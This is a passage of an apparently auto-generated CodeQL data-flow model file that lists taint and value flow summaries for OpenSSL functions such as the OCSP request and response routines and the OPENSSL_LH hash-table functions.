True, "OCSP_REQUEST_add1_ext_i2d", "(OCSP_REQUEST *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OCSP_REQUEST_add_ext", "(OCSP_REQUEST *,X509_EXTENSION *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_REQUEST_add_ext", "(OCSP_REQUEST *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_REQUEST_delete_ext", "(OCSP_REQUEST *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_REQUEST_delete_ext", "(OCSP_REQUEST *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_REQUEST_free", "(OCSP_REQUEST *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_REQUEST_free", "(OCSP_REQUEST *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_REQUEST_get1_ext_d2i", "(OCSP_REQUEST *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_REQUEST_get_ext", "(OCSP_REQUEST *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_REQUEST_get_ext_by_NID", "(OCSP_REQUEST *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_REQUEST_get_ext_by_OBJ", "(OCSP_REQUEST *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_REQUEST_get_ext_by_critical", "(OCSP_REQUEST *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_REQUEST_print", "(BIO *,OCSP_REQUEST *,unsigned long)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "OCSP_RESPBYTES_free", "(OCSP_RESPBYTES *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPBYTES_free", "(OCSP_RESPBYTES *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPDATA_free", "(OCSP_RESPDATA *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPDATA_free", "(OCSP_RESPDATA *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPID_free", "(OCSP_RESPID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPID_free", "(OCSP_RESPID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPID_match", "(OCSP_RESPID *,X509 *)", "", "Argument[*0].Field[*value].Union[**(unnamed class/struct/union)]", "Argument[*0].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OCSP_RESPID_match_ex", "(OCSP_RESPID *,X509 *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0].Field[*value].Union[**(unnamed class/struct/union)]", "Argument[*0].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OCSP_RESPONSE_free", "(OCSP_RESPONSE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPONSE_free", "(OCSP_RESPONSE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPONSE_print", "(BIO *,OCSP_RESPONSE *,unsigned long)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "OCSP_REVOKEDINFO_free", "(OCSP_REVOKEDINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_REVOKEDINFO_free", "(OCSP_REVOKEDINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_SERVICELOC_free", "(OCSP_SERVICELOC *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_SERVICELOC_free", "(OCSP_SERVICELOC *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_SIGNATURE_free", "(OCSP_SIGNATURE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_SIGNATURE_free", "(OCSP_SIGNATURE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_SINGLERESP_add1_ext_i2d", "(OCSP_SINGLERESP *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OCSP_SINGLERESP_add_ext", "(OCSP_SINGLERESP *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_SINGLERESP_add_ext", "(OCSP_SINGLERESP *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**singleExtensions].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_add_ext", "(OCSP_SINGLERESP *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**singleExtensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_delete_ext", "(OCSP_SINGLERESP *,int)", "", "Argument[1]", "Argument[*0].Field[**singleExtensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_delete_ext", "(OCSP_SINGLERESP *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_delete_ext", "(OCSP_SINGLERESP *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_free", "(OCSP_SINGLERESP *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_SINGLERESP_free", "(OCSP_SINGLERESP *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_SINGLERESP_get0_id", "(const OCSP_SINGLERESP *)", "", "Argument[*0].Field[**certId]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_get0_id", "(const OCSP_SINGLERESP *)", "", "Argument[*0].Field[*certId]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_get1_ext_d2i", "(OCSP_SINGLERESP *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_get_ext", "(OCSP_SINGLERESP *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_get_ext_by_NID", "(OCSP_SINGLERESP *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_get_ext_by_OBJ", "(OCSP_SINGLERESP *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_get_ext_by_critical", "(OCSP_SINGLERESP *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_get_ext_count", "(OCSP_SINGLERESP *)", "", "Argument[*0].Field[**singleExtensions].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OCSP_accept_responses_new", "(char **)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_accept_responses_new", "(char **)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_accept_responses_new", "(char **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_basic_add1_cert", "(OCSP_BASICRESP *,X509 *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OCSP_basic_add1_cert", "(OCSP_BASICRESP *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_basic_add1_cert", "(OCSP_BASICRESP *,X509 *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OCSP_basic_add1_cert", "(OCSP_BASICRESP *,X509 *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OCSP_basic_add1_status", "(OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_basic_add1_status", "(OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OCSP_basic_add1_status", "(OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OCSP_basic_sign", "(OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OCSP_basic_sign", "(OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_basic_sign", "(OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OCSP_basic_sign", "(OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OCSP_basic_sign", "(OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OCSP_basic_sign_ctx", "(OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_basic_sign_ctx", "(OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OCSP_basic_sign_ctx", "(OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_cert_id_new", "(const EVP_MD *,const X509_NAME *,const ASN1_BIT_STRING *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_cert_id_new", "(const EVP_MD *,const X509_NAME *,const ASN1_BIT_STRING *,const ASN1_INTEGER *)", "", "Argument[*3]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OCSP_copy_nonce", "(OCSP_BASICRESP *,OCSP_REQUEST *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_crlID_new", "(const char *,long *,char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_id_cmp", "(const OCSP_CERTID *,const OCSP_CERTID *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_id_cmp", "(const OCSP_CERTID *,const OCSP_CERTID *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_id_get0_info", "(ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *)", "", "Argument[*4]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "OCSP_id_get0_info", "(ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *)", "", "Argument[*4]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OCSP_id_get0_info", "(ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *)", "", "Argument[*4]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "OCSP_id_get0_info", "(ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *)", "", "Argument[*4]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "OCSP_id_get0_info", "(ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OCSP_id_issuer_cmp", "(const OCSP_CERTID *,const OCSP_CERTID *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_id_issuer_cmp", "(const OCSP_CERTID *,const OCSP_CERTID *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_onereq_get0_id", "(OCSP_ONEREQ *)", "", "Argument[*0].Field[**reqCert]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OCSP_onereq_get0_id", "(OCSP_ONEREQ *)", "", "Argument[*0].Field[*reqCert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OCSP_request_add0_id", "(OCSP_REQUEST *,OCSP_CERTID *)", "", "Argument[*1]", "ReturnValue[*].Field[**reqCert]", "value", "dfc-generated"] + - ["", "", True, "OCSP_request_add0_id", "(OCSP_REQUEST *,OCSP_CERTID *)", "", "Argument[1]", "ReturnValue[*].Field[*reqCert]", "value", "dfc-generated"] + - ["", "", True, "OCSP_request_add1_cert", "(OCSP_REQUEST *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_request_add1_cert", "(OCSP_REQUEST *,X509 *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OCSP_request_onereq_get0", "(OCSP_REQUEST *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_request_set1_name", "(OCSP_REQUEST *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_request_sign", "(OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_request_sign", "(OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OCSP_resp_find", "(OCSP_BASICRESP *,OCSP_CERTID *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0", "(OCSP_BASICRESP *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_certs", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[**certs]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_certs", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[*certs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_produced_at", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[*tbsResponseData].Field[**producedAt]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_produced_at", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[*tbsResponseData].Field[*producedAt]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_respdata", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[*tbsResponseData]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_signature", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[**signature]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_signature", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[*signature]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_signer", "(OCSP_BASICRESP *,X509 **,stack_st_X509 *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OCSP_resp_get0_signer", "(OCSP_BASICRESP *,X509 **,stack_st_X509 *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OCSP_resp_get0_signer", "(OCSP_BASICRESP *,X509 **,stack_st_X509 *)", "", "Argument[*2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OCSP_resp_get0_signer", "(OCSP_BASICRESP *,X509 **,stack_st_X509 *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OCSP_resp_get0_tbs_sigalg", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[*signatureAlgorithm]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get1_id", "(const OCSP_BASICRESP *,ASN1_OCTET_STRING **,X509_NAME **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_resp_get1_id", "(const OCSP_BASICRESP *,ASN1_OCTET_STRING **,X509_NAME **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_response_create", "(int,OCSP_BASICRESP *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_response_create", "(int,OCSP_BASICRESP *)", "", "Argument[0]", "ReturnValue[*].Field[**responseStatus].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OCSP_response_status", "(OCSP_RESPONSE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_sendreq_bio", "(BIO *,const char *,OCSP_REQUEST *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OCSP_sendreq_new", "(BIO *,const char *,const OCSP_REQUEST *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**rbio]", "value", "dfc-generated"] + - ["", "", True, "OCSP_sendreq_new", "(BIO *,const char *,const OCSP_REQUEST *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**wbio]", "value", "dfc-generated"] + - ["", "", True, "OCSP_sendreq_new", "(BIO *,const char *,const OCSP_REQUEST *,int)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OCSP_sendreq_new", "(BIO *,const char *,const OCSP_REQUEST *,int)", "", "Argument[0]", "ReturnValue[*].Field[*rbio]", "value", "dfc-generated"] + - ["", "", True, "OCSP_sendreq_new", "(BIO *,const char *,const OCSP_REQUEST *,int)", "", "Argument[0]", "ReturnValue[*].Field[*wbio]", "value", "dfc-generated"] + - ["", "", True, "OCSP_sendreq_new", "(BIO *,const char *,const OCSP_REQUEST *,int)", "", "Argument[3]", "ReturnValue[*].Field[*buf_size]", "value", "dfc-generated"] + - ["", "", True, "OCSP_single_get0_status", "(OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "OCSP_single_get0_status", "(OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **)", "", "Argument[*0]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "OCSP_single_get0_status", "(OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "OCSP_single_get0_status", "(OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "OCSP_single_get0_status", "(OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_url_svcloc_new", "(const X509_NAME *,const char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_url_svcloc_new", "(const X509_NAME *,const char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_url_svcloc_new", "(const X509_NAME *,const char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_url_svcloc_new", "(const X509_NAME *,const char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_DIR_end", "(OPENSSL_DIR_CTX **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_DIR_read", "(OPENSSL_DIR_CTX **,const char *)", "", "Argument[**0].Field[*entry_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_DIR_read", "(OPENSSL_DIR_CTX **,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_INIT_set_config_appname", "(OPENSSL_INIT_SETTINGS *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**appname]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_INIT_set_config_appname", "(OPENSSL_INIT_SETTINGS *,const char *)", "", "Argument[1]", "Argument[*0].Field[**appname]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_INIT_set_config_file_flags", "(OPENSSL_INIT_SETTINGS *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_INIT_set_config_filename", "(OPENSSL_INIT_SETTINGS *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**filename]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_INIT_set_config_filename", "(OPENSSL_INIT_SETTINGS *,const char *)", "", "Argument[1]", "Argument[*0].Field[**filename]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_delete", "(OPENSSL_LHASH *,const void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_delete", "(OPENSSL_LHASH *,const void *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_delete", "(OPENSSL_LHASH *,const void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_doall_arg_thunk", "(OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_error", "(OPENSSL_LHASH *)", "", "Argument[*0].Field[*error]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_get_down_load", "(const OPENSSL_LHASH *)", "", "Argument[*0].Field[*down_load]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_insert", "(OPENSSL_LHASH *,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_insert", "(OPENSSL_LHASH *,void *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_insert", "(OPENSSL_LHASH *,void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_new", "(OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC)", "", "Argument[0]", "ReturnValue[*].Field[*hash]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_new", "(OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC)", "", "Argument[1]", "ReturnValue[*].Field[*comp]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_num_items", "(const OPENSSL_LHASH *)", "", "Argument[*0].Field[*num_items]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_retrieve", "(OPENSSL_LHASH *,const void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_retrieve", "(OPENSSL_LHASH *,const void *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_retrieve", "(OPENSSL_LHASH *,const void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_set_down_load", "(OPENSSL_LHASH *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*down_load]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[1]", "Argument[*0].Field[*hashw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[1]", "ReturnValue[*].Field[*hashw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[2]", "Argument[*0].Field[*compw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[2]", "ReturnValue[*].Field[*compw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[3]", "Argument[*0].Field[*daw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[3]", "ReturnValue[*].Field[*daw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[4]", "Argument[*0].Field[*daaw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[4]", "ReturnValue[*].Field[*daaw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_strhash", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_strhash", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_asc2uni", "(const char *,int,unsigned char **,int *)", "", "Argument[*0]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_asc2uni", "(const char *,int,unsigned char **,int *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_asc2uni", "(const char *,int,unsigned char **,int *)", "", "Argument[0]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, 